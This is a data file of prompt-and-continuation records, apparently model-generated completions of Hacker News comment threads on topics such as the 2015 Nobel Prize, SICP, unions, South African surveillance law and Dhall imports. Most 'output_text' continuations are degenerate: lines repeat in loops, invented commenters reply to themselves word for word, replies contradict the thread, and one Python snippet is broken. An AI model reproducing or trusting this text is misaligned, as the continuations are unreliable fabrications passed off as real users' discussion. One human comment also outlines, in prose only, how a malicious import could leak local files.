entries.\n\n~~~\nvarjag\nShe's a journalist, but she's also a novelist.\n\n------\njameshart\nI'm not sure I'd call her a \"writer\"", "input_text": " that the\nauthors are seeing from gmake -j because most makefiles contain problems that\nconstrain parallelism and cause broken builds. For example, many have missing\ndependency information, or reuse the same file over and again for intermediate\nresults.\n\nFixing that was part of the motivation behind Electric Cloud.\n\n \nThe Nobel Prize in Literature 2015 - davidiach\nhttp://www.nobelprize.org/nobel_prizes/literature/laureates/2015/press.html?utm_source=twitter&utm_medium=social&utm_campaign=twitter_tweet\n======\nsmharris65\nI hope more people will become aware of her book \"Voices from Chernobyl: The\nOral History of a Nuclear Disaster\". A sad witness of a human tragedy.\n\n[http://www.amazon.com/Voices-Chernobyl-History-Nuclear-\nDisas...](http://www.amazon.com/Voices-Chernobyl-History-Nuclear-\nDisaster/dp/0312425848)\n\n------\nvarjag\nHer writing is vivid and terrifying. Her _War Does Not Have a Woman's Face_ is\nat the top of my list of books to unread. It's a collection of accounts from\nfemale survivors of WW2 trenches. It is not pushing a feminist narrative in\ntraditional sense (wasn't a thing in USSR) but is haunting in its honesty.\nThink _Saving Private Ryan_ without the humanistic takeaway.\n\nShe's a part of Belarusian late 20th century documentary realism tradition,\nwhere authors build around authentic, traumatic biographies of the war\ngeneration. In literature, Vasil Bykau, her contemporary, even better known\n"} +{"output_text": "I'm not sure I understand the point of this. It's not like the Linux kernel\nisn't already available on the Galaxy S3.\n\n~~~\njevinskie\nThe point is that the Linux kernel is not the only way to get a Linux\nexperience on a phone.\n\n~~~\nhdevalence\nI'm not sure I understand what you mean.\n\n~~~\njevinskie\nThe point is that the Linux kernel is not the only way", "input_text": " platform. At least.\n\nThat may imply Linux due to the lack of viable alternatives, but really, it\nshould be built with users in mind, rather than perceived as a technical\nchallenge of putting Touch on top of Linux.\n\n(And please, stay away from Java in your next mobile OS. Among other things,\nyou will ward off those of us, developers, who let's say are not neutral wrt.\nto certain programming languages. Edit: make Java optional if you wish.)\n\n~~~\nfafner\nThis has little to do with getting Linux on mobile. Maybe it's the motivation\nfor some. But not the driving aspect.\n\nSamsung wants Tizen to gain back full control of their platform. Canonical\nwants Ubuntu Touch (and Mozilla Firefox OS) because the PC is getting less\nimportant for consumers.\n\n> (And please, stay away from Java in your next mobile OS. Among other things,\n> you will ward off those of us, developers, who let's say are not neutral\n> wrt. to certain programming languages. Edit: make Java optional if you\n> wish.)\n\nNeither of them is based on Java. Tizen and FirefoxOS are (sadly) JavaScript\nonly. Ubuntu Touch supports JavaScript/HTML5 and Qt (JavaScript + C++).\n\n~~~\njevinskie\nTizen has a native C++ toolchain just like the Android NDK.\n\n~~~\npjmlp\nLast time I looked it had the frankenstein Bada influence, with two level\ninitialization, no exceptions, handles vs pointers and so forth.\n\nIs that still the case.\n\n~~~\njevinskie\nI'm unsure, I haven't done any app development, just toolchain work.\n\n------\nhdevalence\n"} +{"output_text": " read SICP and enjoyed it. I also read the first edition of the book\nand the second edition. I have also read the first edition of the book and\nthe second edition of the book.\n\nI have also read the first edition of the book and the second edition of the\nbook.\n\nI have also read the first edition of the book and the second edition of the\nbook.\n\nI have also read the first edition of the book and the second edition", "input_text": "aring to prevent nesting in the common case, no\nmore.\n\n \nHow Lisp Became God's Own Programming Language (2018) - Qaphqa\nhttps://twobithistory.org/2018/10/14/lisp.html\n======\nokine\nGerald Sussman, co-inventor of Scheme and author of SICP, was my undergraduate\nadvisor. The last several times I visited his office, he was usually with Jack\nWisdom either programming or deep in thought or discussion about differential\ngeometry and the differential geometry Scheme library they were writing. One\ntime when he wasn't so occupied, I brought up SICP, and asked if he was aware\nthat a lot of people think of reading the book as a sort of magical,\nenlightening experience. He said, \"Yes, I'm aware.\" I asked if he had any idea\nwhy. He said, \"The main reason is that it tells a good story. It also has a\ncomplete, coherent narrative.\"\n\n~~~\nRerarom\nAm I the only person that read the whole of sicp and didn't feel enlightened\nin the least? I felt way more enlightened when I read the whole of John Baez's\nthis week's finds. Maybe it's a book which you need to read when you're\nyounger.\n\n~~~\ngdubs\nCurious: did you complete all the exercises in the book? Not doubting you in\nany way, just wondering if that\u2019s a possibility. I know I\u2019ve gone through\nbooks without doing the work, while on others I have done the work \u2014 and it\u2019s\nusually a pretty different experience.\n\nBut, not everyone is gonna connect with everything, regardless.\n\n------\nmark_l_watson\nI have"} +{"output_text": "an1)\n\n------\njamesjguthrie\nGuthrie | London, UK | Full-time | ONSITE |\n[https://www.guthrie.com](https://www.guthrie.com)\n\nGuthrie is a digital agency that helps brands and businesses to grow. We\ncreate beautiful, engaging and effective digital experiences for our clients.\nWe are a small team of designers, developers and strategists who love what we", "input_text": " help build out the backend infrastructure for\nNumina. Our backend engineer will be reporting to our CTO with daily progress\nand technical deliverables, and s/he will be responsible for collaborating\nwith the product team to provide functionality to our frontend applications.\n\nMore details: [https://angel.co/cty/jobs/204709-backend-software-\nengineer](https://angel.co/cty/jobs/204709-backend-software-engineer)\n\n------\nQuovo_Sydney\nQuovo | New York, NY | ONSITE | Front-end Engineer | www.quovo.com\n\nHiring a few roles to be filled immediately via phone call, code review, and\nin-person interviews.\n\nSeeking a Software Engineer to join our Platform Team that is responsible for\ndesigning and building the core services and APIs that power Quovo\u2019s products\nand applications Full description and application:\n[http://grnh.se/cdsbx01](http://grnh.se/cdsbx01)\n\nWe are seeking a skilled Junior Python developer to work on web crawling\nprojects, along with API implementations and other data analytics tasks. If\nyou\u2019ve ever enjoyed feeling like a hacker or data detective, this might be the\njob for you. Full description and application:\n[http://grnh.se/v7qyrc1](http://grnh.se/v7qyrc1)\n\nOur API Product Manager will be reporting directly to our Chief Product\nOfficer, and will be deeply involved in defining and executing Quovo\u2019s product\ngrowth over the coming months Full description and application:\n[http://grnh.se/yq51an1](http://grnh.se/yq51"} +{"output_text": " think the patent trolls are safe.\n\n~~~\njetti\nI think that is a good point. I think that the patent trolls are just trying\nto get money from the companies that they are suing. I don't think they are\ntrying to enforce their patents.\n\n------\njrockway\nI don't understand why people are so upset about this. It's not like they are\ngoing to sue you for using a scanner. They are going to", "input_text": "\nsafety or applicability of a drug. It is perfectly possible to get a patent,\nbut fail FDA approval. It is also possible that the process to produce a drug\nat scale is itself a novel application or invention and itself patentable\n(though that may also need FDA approval separately from the drug treatment).\n\n~~~\ndhimes\n_It is perfectly possible to get a patent, but fail FDA approval._\n\nI believe this happened to Eli Lilly yesterday. EDIT: Not sure it was Lilly- I\nheard the news on the radio this morning and I can't find the source on the\nnews sites. Annoying.\n\n------\njetti\nThe article mentions that it is hard to invalidate patents with prior art and\nthat the patent holders will say that it is a narrower scope than previous\npatents. If that is the case, I can't see how this isn't extortion. There is\nno way that these \"companies\" could know the kind of network that the\ncompanies they are sending letters to use. They may be just guessing that they\nare even using a scanner. They are just mass mailing threats and hoping for\nmoney back.\n\nAlso, how is it even legal to target the users of technology in a patent\ninfringement case like this? Wouldn't the manufactures (of hardware AND\nsoftware) be the ones that would need to license the patent, not end users? I\nget why you would target the end user but is that legal/valid?\n\n~~~\nscott_s\nI agree that it is extortion in spirit. But I wonder if patent trolls can be\nprosecuted on current extortion laws, as their defense would be \"We're just\ntrying to enforce our lawful patents.\" If prosecutors would not want to try,\nthen I"} +{"output_text": ".\n\n------\njoshu\nI wonder if they'll be able to get the government to pay for it.\n\n~~~\njoshu\nI wonder if they'll be able to get the government to pay for it.\n\n------\njoshu\nI wonder if they'll be able to get the government to pay for it.\n\n------\njoshu\nI wonder if they'll be able to get the government to pay for it.\n\n------", "input_text": "\nto 'loan' these devices for consumers who can't afford even those. You will be\nsurprised by how much utility these small capacity solar panels might provide\neven for those Indian consumers connected to grid (if they provide 2 lamps/ 1\nfan as mentioned). This is because in rural areas, power cuts of around 8\nhours/per day are very common.\n\n------\ndfxm12\nI wonder what their overhead is for going to rural areas to install/service\nthese devices.\n\n~~~\nGiraffeNecktie\nProbably not too bad since labour costs in rural areas are very low. I'm not\nsure what they are now, but unskilled labour used to be about $3 a day. I\nremember when I was in India seeing guys climbing telephone poles with no\nsafety equipment whatsoever, just raggedy street clothes and flip flop\nsandals.\n\n------\nmmatey\nCurious how they would keep them from not just ripping off the meter?\n\n~~~\nbobds\nI wonder why they chose a pay-as-you-go system depending on how much energy\nthey use.\n\nI think this would be much better as a rent-to-own program with a flat monthly\nfee.\n\n~~~\nmarquis\nSeasonal work, summer hours, school and other needs take precedence over what\na family spends money on, on a month-to-month basis. Pay-as-you-go electricity\nis common in some western countries and it is not unusual for there to be days\nwhere the family cannot afford to top-up until pay-day again, where food etc\ncomes first as a primary need.\n\n------\nww520\nCell phone can be cut off at anytime so as making it easy to link its access\nto continuous payments"} +{"output_text": "0,0)]\n for i in range(d):\n least = min(least,[(i,y[i]) for j in range(k) if y[i] == X[j]])\n return least\n \n\nthe idea is to find the k nearest neighbors to each point in the training set\nand return the smallest distance.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\nThe k", "input_text": "~~~\nspdustin\nWhat an exclusionary thing to say. Was that your intent?\n\n~~~\nhugh4\nThat's not even a word.\n\n~~~\nspdustin\n[http://www.dictionary.com/browse/exclusionary](http://www.dictionary.com/browse/exclusionary)\n\nOf course, I did hear that _gullible_ was removed from the dictionary during\nan annual meeting of linguists in Leeds last year.\n\n------\nhenryw\nPretty neat for implementation used as a tutorial. A more industry standard\nimplementation would probably use a tree of some type to reduce the space and\nsearch time. For example\n[https://en.wikipedia.org/wiki/K-d_tree](https://en.wikipedia.org/wiki/K-d_tree)\nin [http://scikit-\nlearn.org/stable/modules/generated/sklearn.nei...](http://scikit-\nlearn.org/stable/modules/generated/sklearn.neighbors.KNeighborsClassifier.html)\n\n------\nbra-ket\nvery nice write-up. if you're interested in this, the next logical step is to\nlook at 'locality-sensitive hashing' and some simple state-of-the-art methods:\n[https://github.com/spotify/annoy](https://github.com/spotify/annoy)\n\n------\nleecarraher\nthis description of linear scan kNN may be a bit tedious for the hacker news\ncrowd. here's the gist (in python):\n\n \n \n def knn(y,X,k):\n d = len(y)\n least = [("} +{"output_text": " making progress, they'll stop\ndemonstrating.\n\n------\njoshuahedlund\nI'm not sure I agree with the premise that the government is the problem.\n\nThe government is the problem because it's the only entity that can force\npeople to do things. If you want to stop the government from doing things,\nyou'll have to do it yourself.\n\n~~~\njoshuahedlund\nI'm not sure I agree with the premise that the government", "input_text": " you need to work together,as\na team, in close proximity. Change isn't easy.\n\n[1] Wrong:\n[http://img.timeinc.net/time/photoessays/2011/ows_gallery_121...](http://img.timeinc.net/time/photoessays/2011/ows_gallery_1212/ows_gallery_05.jpg)\n\n[2] Meh, street performers pull bigger crowds:\n[http://media.syracuse.com/news/photo/10265946-large.jpg](http://media.syracuse.com/news/photo/10265946-large.jpg)\n\n[2] Here we go:\n[http://wakingamericaup.files.wordpress.com/2010/08/i-have-a-...](http://wakingamericaup.files.wordpress.com/2010/08/i-have-\na-dream-2.jpg)\n\n~~~\nlettergram\nYou're probably correct, however starting off, if you start with say 10 people\nprotesting on a local public street you may get 10 new people to notice you.\n\nAfter a time you can double, triple, quadruple, etc. your numbers. Then go to\nDC with 70-100,000 and get attention.\n\n~~~\noddball28\nAfter giving this more thought, I agree. Large demonstrations don't happen\nover night, and it's necessary to start somewhere and gain traction, with the\nultimate goal of snowballing into a large centralized demonstration.\n\nMaybe what's needed is an agenda that clearly works towards such a\ndemonstration, one that's broken up into attainable goals/milestones. If\ndemonstrators don't feel that they're"} +{"output_text": " plumber.\n\n~~~\nsevenf0ur\nI'm not sure how it would work in software, but I'm sure it would be a\ndifferent story.\n\n------\njedberg\nI'm curious if this is a union for the whole company or just for the\nengineering department.\n\n~~~\njedberg\nI'm curious if this is a union for the whole company or just for the\nengineering department.\n\n~~~\njedberg\nI", "input_text": " don't care about one persons issues at a\nworkplace but general issues like pay when compared to other companies in the\nsame field. If the company previously had toxic people in high places the\npeople will just adjust to follow union rules while still being toxic.\n\n------\nbaybal2\nI've been hearing for a long time that there were attempts at making a union\nat Microsoft back in nineties.\n\nAnybody privy to the info how it fared?\n\n------\nwhoisjuan\nIgnorant question. But how do union dues work? Is it a percentage of your\npaycheck or a fixes cost?\n\nAlso I assume there\u2019s a formation/founding cost. How does that work?\n\n~~~\nkyoob\nIt's usually a percentage of workers' paychecks, between 1-2% is pretty\nstandard.\n\nFounding, organizing, and legal stuff for newly forming unions can be handled\nby the larger organization (e.g. CWA) using pooled dues from existing unions\nwithin that organization.\n\n~~~\nsevenf0ur\nLosing that much per paycheck with nothing guaranteed in return would chaff me\nafter awhile. I hope it works out for them.\n\n~~~\njohnpowell\nI was a union HVAC guy for a few years. And one very nice thing was that there\nwere union shops and they went through the union to find employees. So if work\ndried up at one place the union would take care of getting my unemployment\ngoing and then when work came up they would call and say that I was needed\nelsewhere.\n\nThis probably wouldn't translate well to software. But it works great if you\nare installing ducts. Same goes for plumbers and electricians. My sisters\nfirst husband was a union"} +{"output_text": " limit.\n\n~~~\nunshift\ni agree. i think the best solution would be to have a \"small project\"\nrepository that you can use to host small projects, but you can't use it to\nhost larger projects.\n\n------\njoshu\nI'm not sure I understand the problem.\n\nIf you're worried about your data being stolen, you can encrypt it.\n\nIf you're worried about your data being stolen, you can encrypt it.", "input_text": " thing is \"social coding\" isn't that big of a plus for your own private\nstuff. I definitely see value in a service like this.\n\n------\nkgtm\nIs it really necessary to disguise a Linode referrer link using bit.ly in the\nhomepage? I would be more inclined to click it if it wasn't masked...\n\n~~~\nfnando\nI just wanted to see how many clicks that would have, but you're right. Just\nremoved the link since I just don't care. ;)\n\n~~~\nmcantor\nYou might be able to do a quick happy medium by generating a \"vanity url\" such\nas bit.ly/sneaky-affiliate-link or something.\n\n~~~\nJonnieCache\nOr perhaps a sneaky bit of javascript to track click events on that link via\najax.\n\n------\ntaphangum\nI REALLY don't think that github's plan is unreasonable. I pay for it quite\nhappily. But good on you for DOING something about how you felt\n\n~~~\nunshift\nfor updated-infrequently-if-ever repos, github's pricing doesn't make a lot of\nsense. i have plenty of small, one-off repos i'd love to back up on github but\nit doesn't make sense for me to upgrade plans for them.\n\ni just back up to multiple boxes, but i can understand why someone would want\nsomething centralized and specific.\n\n~~~\nwatty\nI agree. My small company has many 1-2 week dev efforts that we'd like to have\non GitHub but simply can't afford it. I've tried creating a \"small project\"\nrepository and using different branches to host the different projects but am\ndefinitely not satisified. GitHub NEEDS a size"} +{"output_text": " of a cow vs a chicken.\n\nI'm not saying that you are wrong, but I think you are missing the point.\n\n------\njoshu\nI'm not sure I understand the point of this article.\n\nThe author is saying that you can't eat a lot of eggs, but that's not really\ntrue. You can eat a lot of eggs.\n\nThe author is saying that you can't eat a lot of eggs, but that's not really", "input_text": "...\n\n2) Egg protein. Either full eggs, or just whites, or powder egg protein.\n\n3) Peas, Beans, Peanut Butter are good protein sources as well... but you can\nreally eat so much in a day\n\n4) Avoid soy, (for many reasons, but mainly because it is thought to be\nandrenogenic).\n\nIf you can't eat either milk or egg based products and I think you are a bit\nout of luck. Yes, there are people that manage fine with (there even vegan\nbodybuilders), but it really becomes tough diet wise as it is very\nrestrictive....\n\n~~~\noptimusclimb\nIt seems pointless to me when people become \"vegetarian\" to opt out of the\nfactory farming/animal cruelty machine...only to eat massive amounts of eggs\nand dairy.\n\n~~~\nanarazel\nIt's a question of degree. One hundred gram of meat vs 200g of yoghurt implies\na significantly higher energy use and on average is more crucial pretty\ncalorie.\n\n~~~\ncies\nHe's talking about the \"factory farming/animal cruelty machine\", thus ethics.\n\nYou are responding about \"energy use\", this environmental impact.\n\nTwo separate reasons to go vegan. (besides the issues of pollution, scarcity\nand health-impact)\n\n~~~\nanarazel\nI also referenced the cruelty? The point being that to get the same amount of\nenergy out of milk/egg based products you'll need fewer animals than for meat\nbased production (where animals have to grow for multiple months to years just\nto be slaughtered). Which means fewer animals will suffer to feed one person.\nIt's obviously possible to reduce further.\n\n~~~\ncies\nHard to compare the cruelty"} +{"output_text": " address to register our SIM.\n\n~~~\nmadiathomas\nI don't know why people are so worried about this. It's not like they are\ngoing to use it to track you down.\n\n~~~\nAmbroos\nI'm not worried about it, I'm just saying that it's not that much of a hassle\nto register a SIM.\n\n~~~\nmadiathomas\nI agree. I don't think it's a big deal.\n", "input_text": " intercepts amongst the multitude of authorised ones.\n\nThere is also clear evidence that a number of journalists, including two at\nthe Mail and Guardian, have had their phone calls, text message and internet\nusage intercepted by SA intelligence agencies.\n\nAs for authorisation, all the state requires to perform a broad intercept is\nthe say-so of a retired judge appointed and paid by the Minister of Justice.\nThat means that unlike a regular court judge, whose remuneration and service\ndepends on an independent entity in the Judicial Services Commission, the RICA\njudge is subservient to the Executive.\n\nThe access for those intercepts is easy too, given that RICA requires that the\nmajor phone companies, internet exchanges and ISPs create real-time data feeds\ninto the various Interception Centres managed by the Office of Interception\nCentres. This allows them to snoop on the internet and phone traffic of all\nSouth Africans in real-time without the need to even inform the companies\nproviding the data.\n\nRICA's main purpose was to make it easier for the state to legally surveil as\nmany people as it wanted to without too much in the way of opposition. It's\nnot a good law.\n\n~~~\nmadiathomas\nThanks for the information. I didn't know that there is so much surveillance\nfrom our government. Snooping on journalists isn't on at all. Now I know my\ntext messages aren't safe.\n\n------\nAmbroos\nIs this so bad? I remember back in 2012 when I visited Berlin I had to\nregister my SIM with my Belgian ID and address too. It only took a few\nminutes, it's not that much of a hassle. At the phone shop in Belgium where I\nwork we were required to ask for a name and"} +{"output_text": " WebAssembly, Node.js, React, Redux,\nTypeScript, WebGL, Three.js, Electron, PostgreSQL, Redis, Elasticsearch,\nKafka, Docker, AWS, Terraform, Ansible, Puppeteer, CircleCI, Jenkins,\nTravisCI, GitLab, Jira, Slack, HipChat, Trello, Jira, Asana, Pivotal Tracker,\nGitHub, and more", "input_text": " & change healthcare!!!\n\n~~~\ncalcsam\nWord on the street is that you guys pay really below-market salaries. Could\nyou post a salary range please?\n\n------\nconstexpr\nSan Francisco; Full Time; Onsite\n\nI'm the cofounder of Figma ([https://www.figma.com](https://www.figma.com)), a\nstartup in San Francisco building a browser-based collaborative design tool to\nimprove the way designers and developers work together. We're a small team\n(~25) and we're looking for talented engineers\n([https://www.figma.com/careers](https://www.figma.com/careers)) who are\ninterested in tackling hard technical problems with smart people and building\na product that startups will rely on.\n\nIf you want to see what we value, you might find these interesting:\n\n\\- First principles thinking: [https://medium.com/figma-design/introducing-\nvector-networks-...](https://medium.com/figma-design/introducing-vector-\nnetworks-3b877d2b864f)\n\n\\- Pushing the web to the limit: [https://medium.com/figma-design/building-a-\nprofessional-desi...](https://medium.com/figma-design/building-a-professional-\ndesign-tool-on-the-web-6332ed4f1fcc)\n\nUpcoming/ongoing projects:\n\n\\- Develop a plugin ecosystem from the ground up\n\n\\- Build a community of design content and tools from scratch\n\n\\- Cross-document shared symbols\n\n\\- Multiplayer editing infrastructure (realtime simultaneous editing)\n\nOur tech stack: C++, Emscripten,"} +{"output_text": "\nI'm not sure I agree with that. I've worked at a few companies that have\npushed open platforms, and I've never seen a single engineer complain about\nit.\n\n~~~\nthrowaway2048\nI've worked at a few companies that have pushed open platforms, and I've never\nseen a single engineer complain about it.\n\nI've worked at a few companies that have pushed open platforms, and I've never\nseen a single engineer complain about it", "input_text": " more in-tune with customers and\ndon't make boneheaded decisions like this. Another easy tell: the company was\nshocked by the reaction of users. That meant the company wasn't aware of user\nimpressions of the decision. That also meant Product/Marketing teams weren't\ninvolved in the decision.\n\nWhen the \"what does it cost us to test this compatibility\" calculus comes out\nas more expensive than \"what is the cost of the backlash to our company,\" you\nrealize that Engineering divisions without enough resources are driving this\ntype of decision, 99 times out of 100.\n\n~~~\nCydeWeys\n> The decision to only support Philips products came most likely from the\n> engineering division themselves.\n\nI disagree. I don't see engineers coming up with or getting on-board with such\na clearly anti-open-standards decision. Much more likely, what I think\nhappened is that this decision was forced on engineering from above, morale\nhit all-time lows, there was much grumbling and consternation as they\nimplemented this anti-feature that they clearly didn't believe in, then they\nrejoiced at the huge public outcry when the change was pushed, and are now\ncelebrating that those assholes up in management had to reverse course with a\nheavy dose of \"I told you so\".\n\nSource: I am an engineer at a big company and have seen this scenario play out\nmany times internally.\n\n~~~\nthrowaway2048\nRead the comments here, many engineering types are falling all over each other\nto excuse phillips. There is a massive anti-sentiment towards open platforms\nthere days it seems, likely driven by apple's success and the startup\n\"industry\".\n\n~~~\njhall1468"} +{"output_text": " living in a bubble for the past few years.\n\nI've been to a few places in the US where I've seen people carrying guns, and\nI've never seen a single person with a gun in a public place.\n\nI've been to a few places in the US where I've seen people carrying guns, and\nI've never seen a single person with a gun in a public place.\n\nI've been to a few places in the US where I've seen", "input_text": " is available for download in source\nform right now. You'll have to compile it yourself, I think. I'm pretty sure\nthings will stay that way.\n\nChrome OS is the closed-source version that is sent to vendors to be installed\non computers. I'm pretty sure Google won't make Chrome OS available for\ndownload, since there will be no single \"Chrome OS\" image; it'll be customized\nfor each hardware option.\n\n(I think.)\n\n~~~\nmattew\nThat makes sense. I will just have to take the initiative and compile it or\ndownload one of the unofficial builds.\n\n \nAt Least 37M People Have Been Displaced by America\u2019s War on Terror - chishaku\nhttps://www.nytimes.com/2020/09/08/magazine/displaced-war-on-terror.html\n======\nphobosanomaly\nThe degree to which ordinary Americans are isolated from the violence of these\nconflicts is mind-boggling. The notable absence of car-bombs alone is telling\nhow privileged we are to be able to lead our lives without fear of getting\nmurked on the way to Starbucks.\n\n[https://en.wikipedia.org/wiki/List_of_mass_car_bombings](https://en.wikipedia.org/wiki/List_of_mass_car_bombings)\n\n~~~\nardit33\nMass shootings (either, school shootings, shootings in church, shootings in\nclubs, that vegas shooter, the occasional incel shooter, etc.. etc..), are a\nform of terrorism, albeit not necessary with political motives.\n\nMost of the world do not experience them either.\n\n~~~\nsharkweek\nI can say we have been"} +{"output_text": "istically optimized.\n\n~~~\nPostosuchus\nI'm not sure what you mean by \"direct and indirect costs of producing\n\"green energy?\"\n\nI'm not sure what you mean by \"fuel costs money.\"\n\nI'm not sure what you mean by \"ultimately delivery efficiency is better for\nbusiness and for the environment.\"\n\nI'm not sure what you mean by \"they also are encouraging all deliveries to\nhappen on a given day of the week", "input_text": ". My point is that the whole left circle - issues\nimportant to the left and important to both left and right - are posted and\ndiscussed. Issues important only to the right are flagged down. Right-wing\nperspectives on political posts are flagged down. To take an example, very\noccasionally, I see a mention of guns that includes a right-wing perspective.\nEven if it's politely stated, flagged down. Example, something like: \"The\narguments about taking guns lowering mass shooting-rates does mot affect the\nright because priorities are different. The right is willing to tolerate some\ndeath as tragic but a fact of life to maintain rights, and mass shooting death\nrates are vastly below other public health issues any way.\"\n\nSuch a comment would be flagged down. A comment taking the opposing point-of-\nview, even much less politely, would be supported. Comments with vulgarity and\nrudeness are also tolerated only from certain perspectives. This disparity is\nparticularly galling because low-ranked comments become greyed to the point of\nun-readability, and flagged ones don't appear at all by default. I couldn't\ncare less about the internet points, but HN ought to leave un-popular opinions\nvisible.\n\n------\nPostosuchus\nI assume, the whole narrative is above such insignificant details as direct\nand indirect costs of producing \"green energy?\"\n\n~~~\nbcheung\nNot sure what you mean but Amazon is doing a lot of research into things like\ndrone deliveries and robotic vehicles which can be powered from renewable\nenergy.\n\nFuel costs money. Ultimately delivery efficiency is better for business and\nfor the environment.\n\nThey also are encouraging all deliveries to happen on a given day of the week\nso they can be batched up and log"} +{"output_text": " of which are \"letters\" and the rest are \"capital letters\".\n\nSo, if you want to use a system that's not Latin, you have to use Punycode.\n\n\u2021 I'm not sure if this is true of the modern integrated tribes, but it's\ncertainly true of the tribes that were integrated into the Roman Empire.\n\n~~~\njackewiehose\nI don't know why you are downvoted. I am not a native", "input_text": "ddraper\n[https://abs.twimg.com/emoji/v2/72x72/1f47b.png](https://abs.twimg.com/emoji/v2/72x72/1f47b.png)\n\u00af\\\\_(\u30c4)_/\u00af\n\n------\nshawkinaw\nThis is using Punycode encoding, see\n[https://en.m.wikipedia.org/wiki/Emoji_domain](https://en.m.wikipedia.org/wiki/Emoji_domain).\n\n~~~\njackewiehose\nWhy is this even a thing?\n\n~~~\ntialaramex\nThere are a bunch of different human writing systems. All of them are weird\nbecause they were invented by humans, most of them are _very_ weird indeed\nbecause they were invented by humans a long time ago and then gradually\nmutated.\n\nThe Latin system is the one you're using here. It's very popular. Most humans\nin the integrated tribes are somewhat familiar with it\u2021. It has twenty six\n\"letters\" and then twenty six more \"capital letters\" which look different but\nmean almost the same thing for some reason, and then a bunch more symbols that\naren't quite letters although some (apostrophe, ampersand) have a better claim\nthan others. But other popular systems include Han, which has a shitload of\nlogograms, and Cyrillic and Greek which have different letters than Latin and\ndifferent rules about how letters work.\n\nAnyway, the people who invented DNS only or primarily used the Latin system\nand they weren't much into capital letters. So, their system doesn't treat\ncapital letters as different and only has one set of twenty six Latin letters,\nten"} +{"output_text": ", which will further reduce the risk of\nunintentional DDos.\n\n~~~\njoshuamorton\nThanks for the link. I'm not sure I understand the last point.\n\nIf you have a function that returns a value, and you have a semantic integrity\ncheck, then you can't return a value that changes the behavior of your\nprogram.\n\n~~~\nGabriel439\nI'm not sure I understand the point you're making.\n\nIf", "input_text": " allowed imports to a whitelist.\n\nAt the very least that could be used to DDos some target by having the script\ntry to import something from a victim domain. And you _might_ be able to read\ndata on local files and transmit that information back, I'm not sure. It\ndepends on if imports are evaluated lazily, and the data of interest would\nhave to be stored in a file on disk that can be imported.\n\nEDIT: Actually, it looks like you can import raw text, so it doesn't matter\nwhat format the on-disk data is that you are trying to extract.\n\nEDIT2: Actually, it doesn't even matter if imports are evaluated lazily or\nnot, you can specify that a network import be made with given headers, so you\ncould just set a header in the HTTP request to contain the sensitive data.\n\n~~~\nGabriel439\nAuthor here: You might be interested in this post on safety guarantees:\n\n[https://github.com/dhall-lang/dhall-lang/wiki/Safety-\nguarant...](https://github.com/dhall-lang/dhall-lang/wiki/Safety-guarantees)\n\nThe main risks in executing potentially malicious Dhall code that is not\nprotected by a semantic integrity check are:\n\n* Using more computer resources than you expected (i.e. network/CPU/RAM)\n\n* Unintentional DDos (as you mentioned)\n\n* The malicious import returning a value which changes the behavior of your program\n\nIf you protect the import with a semantic integrity check then the malicious\nimport can no longer return an unexpected value, which eliminates the third\nissue (changing program behavior). Also, upcoming versions will cache imports\nbased on the semantic integrity check"} +{"output_text": "\u2019s time and resources, and the company\n> was forced to scale back its ambitions.\n\n> \u201cWe were trying to do too much,\u201d Dancer said. \u201cWe were trying to do too many\n> things at once.\u201d\n\n> \u201cWe were trying to do too many things at once.\u201d\n\n> \u201cWe were trying to do too many things at once.\u201d\n\n> \u201cWe were trying to do too many things at once.\u201d\n\n> \u201cWe were", "input_text": "\ndrderidder\nI don't like the manager / developer separation. I've had better results using\nlightweight strategies to let projects be more or less self-managing.\nBasically just creating a shared vision, giving responsibilities to people,\nletting them set their own goals, and then publishing to the group how those\ngoals are progressing on a weekly basis. It doesn't take much time and people\nusually appreciate the communication.\n\n------\nSpooky23\nThere's way too much black and white in the blog post and these comments here.\nIt's more art than science.\n\nThe reality is as a manager you're an influencer and leader. You also need to\nhave personal integrity or you'll just end up depressed. If you have no\nability to influence upper management, you need to work on how to connect with\nyour boss.\n\n \nThe Rise and Fall of Cribspot - objections\nhttps://www.tcbusinessnews.com/2018/04/29/the-rise-and-fall-of-cribspot/\n======\na_t48\nHow is this different from a property management company (say, Property\nForce)? The fact that they have a website over just putting out on CraigsList?\n\n------\nSlowRobotAhead\n> The vision was to provide an end-to-end housing solution, with landlords\n> handing control of their properties over to Cribspot and still earning a\n> passive income. Tenants could use the platform to find properties, tour\n> properties virtually, ask questions about different houses or apartments,\n> schedule property maintenance, or pay rent online.\n\n> \u201cIt ended up being a lot more people-intensive than we thought,\u201d Dancer\n> said.\n\n> The new challenges ate into Cribspot"} +{"output_text": " study of psilocybin-assisted smoking cessation in patients with\nsubstance use disorders\"\n\n[http://jop.sagepub.com/content/early/2014/09/06/026988111454...](http://jop.sagepub.com/content/early/2014/09/06/0269881114548296.abstract)\n\n------\njoshuahedlund\nI'm not sure I understand the point of this study", "input_text": ", increases the former in psychiatric and general\nhealthcare.\n\nAnd that's not fair on everyone else. So perhaps you should forfeit your right\nto free healthcare when you make that choice?\n\n(I speak with respect to the NHS in the UK).\n\nFor ref, I'm allergic to penicillin as well. Fortunately because we have\nresearch budgets, we have other antibiotics. Perhaps expenditure on drug\nrelated problems (crime, psych, healthcare) should be diverted into that?\n\n~~~\ndrewblaisdell\n> Thou who bites off the latter, increases the former in psychiatric and\n> general healthcare.\n\nDo you have data on the overall cost of legalization/decriminalization?\n_Surely_ the decrease in the cost of incarcerating drug offenders is\nsignificant.\n\n------\nthefreeman\nAnyone find a link to the actual study? The author basically presents this as:\n\n\\- take some smokers\n\n\\- give them therapy for 5 weeks\n\n\\- dose them up on psilocybin\n\n\\- hope they stop smoking.\n\nI am guessing there was more to the study then that.\n\nAlso the results of the study are never even listed, except for saying that it\n\"worked in most cases\".\n\nHonestly, I am all for studying the affects of these drugs but this article is\npretty garbage.\n\n~~~\nchaosdesigner\nonly abstract seems to be freely available online:\n\n[http://jop.sagepub.com/content/early/2014/09/06/026988111454...](http://jop.sagepub.com/content/early/2014/09/06/0269881114548296.abstract)\n\n~~~\ngwern\nHere you go:\n\n\"Pilot"} +{"output_text": " that they are comparing two people who are not twins?\n\n~~~\nUdik\nI'm not sure I understand your question. I'm just saying that the fact that\nthe twin who stopped exercising did so reluctantly and in response to some\nsocial or family pressure is not the same as the fact that the twin who\ncontinued exercising did so willingly and without any pressure.\n\n------\njoshuahedlund\nI'm not sure I understand the conclusion. The twin who stopped", "input_text": " your\nendurance is controlled by past training almost exclusively.\n\n------\nlaichzeit0\nI always find it interesting that whenever exercise/diet topics come up on HN\nthat people will go to the n-th degree to try and discredit or rubbish the\nstudies. Could it be a bias in the stereotypical geek which shuns 